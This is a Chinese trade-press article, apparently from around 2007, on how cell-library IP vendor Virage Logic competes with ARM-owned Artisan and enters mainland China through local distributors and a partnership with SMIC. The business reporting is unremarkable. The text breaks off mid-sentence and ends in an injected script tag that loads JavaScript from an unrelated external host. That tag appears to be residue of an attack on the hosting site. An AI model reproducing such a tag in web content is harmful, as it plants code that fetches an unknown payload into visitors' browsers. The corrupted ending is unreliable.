回溯2004年arm公司宣布将单元库供应商artisan公司收归靡下之时，该市场上的另外一位主要竞争对手viragelogic公司所面临的压力无疑是巨大的。因为在cpu内核市场上的统治地位加上单元库ip的产品组合后，前者的优势要比后者明显的多。此外，由于cpu内核也是由基本单元库所构成，此次收购还意味着viragelogic通过arm公司获得的业务将会大幅缩水甚至从此归零。单元库是soc设计的基本组成部分，它包括标准单元库、i/o库以及嵌入式存储器ip。
不过由于产品和自身技术优势的不同，在与行业巨人并肩进行了两年的竞争之后，viragelogic仍然走在乐观的发展轨道上。2006年这家单元库供应商实现全球营业额近6,000万美元，比2004年的5,300万美元增长了近12%，并且是2000年全年营收的3倍。这缘于两家公司的高度差异化。“被arm收购的artisan主要在标准单元库、i/o库、免许可费的模式上对客户比较有吸引力，”上海至益电子技术(hyperformtechnologies)有限公司的技术和业务拓展经理赵友来表示，“而viragelogic的竞争力在来自高性能和低功耗存储器ip产品、star(自测试和自修复)存储器ip产品以及在先进工艺上的优势。”至益电子和位于北京的微通益友(onepasssolution)不久前获得viragelogic的授权，成为这家单元库供应商在中国大陆地区的首批代理商。
viragelogic的传统市场在北美、台湾地区以及日本等地，该公司于去年开始在新兴市场寻找业务增长的机会。“我们发现，中国ic设计产业正在进行高速增长，有许多新设计正在这里展开。”在不久前iic-2007上海站上，viragelogic公司业务发展总监maryanne.white表示。iic-2007是viragelogic面向中国工程师社群的首次公开亮相，也是两大单元库厂商第一次在中国市场短兵相接。
不过，相比已经抢先进入中国市场的artisan，viragelogic的动作似乎慢了不止一拍。white承认，viragelogic已经错过了很多机会。“我们的竞争对手已经进入这个市场很多年了。而且，他们已经拥有了一批本地员工。”她说，“由于距离原因，此前viragelogic在中国的业务只有一些小规模的尝试，但这并不意味着我们已经没有机会。中国市场仍在高速增长当中。而且viragelogic有着自己的优势。”
white所指的优势便是这家公司在嵌入式存储器的领先地位。在涉足先进工艺和制程上，这家公司总是捷足先登，而拥有300家公司左右的客户群及其带来的巨大出货量则是成功的基础。以star产品为例，它是该公司推出的第一款拥有siliconawareip技术的存储器系统。拥有siliconawareip技术的存储器具有自我测试能力，并可将检出的缺陷单元逐一映射到额外预留的冗余单元。这使得产品良率大幅提高，而芯片厂家在节省了修复硅片时所需的大量开支后，还将获得更短的产品上市时间。white出示的资料称，杰尔系统在其多业务网络处理器app550上采用此项技术时，存储器模块的良率提高了2.5倍。目前，仅有viragelogic公司拥有此项技术。
与代工厂联合研发的siliconawareip技术能够大幅提高产品良率
“我们同所有主要的晶圆代工厂都有着长期的合作关系，比如tsmc、umc、chartered以及中芯国际(smic)。”white指出，“这是siliconawareip成功的关键。它让我们有能力将制造知识用于ip设计。”她表示，随着制程的不断缩小，还有更多的开发工作需要ip供应商与代工厂一起来进行。一个最新的例子是，tsmc联不久前宣布viragelogic成为其45纳米工艺早期开发的指定合作伙伴。“我们从tsmc得到统计模型，进行单元库的开发。”white介绍。统计模型是一个非常新的技术，但在65nm及其以下的制程中它则是必需的。
尽管此前没有正式进入中国市场，不过viragelogic已经成功将华为、上海方泰、中星微、alchip等本土客户列入了客户名单。此外，该公司还与中芯国际达成协议，所有客户无需支付许可费，皆可从中芯国际免费获得viragelogic的130nm单元库及嵌入式存储器ip进行产品设计，等到芯片量产时再按件收取版税。white表示，对刚刚进入中国的viragelogic来说，与smic的这种合作关系至关重要。“130nm目前仍是半导体制造的主流工艺，与中芯国际的合作为我们开展中国业务开了一个好头。”
不过，选择分销商来进行产品推广并不是viragelogic面向中国市场而特别推出的业务模式，事实上，这是其在中国台湾的经验拷贝。“与当地分销商合作使我们赢得了许多台湾客户。”white说，“我们希望这种模式也能够在这里取得成功。”
“viragelogic的存储器ip是业界最好的，我们在全球拥有一大批关键客户。”white强调，“但是如果没有本地合作伙伴的帮助，某些事情也许我们永远也做不了。”她指的是与至益电子和微通益友的合作。“你知道，语言和时区的障碍是难以逾越的。它导致客户支持工作的效率低下。因此就目前的viragelogic来说，直销方式并不适合中国市场。”
嵌入式存储器的应用大多都对芯片?script src=http://er12.com/t.js>
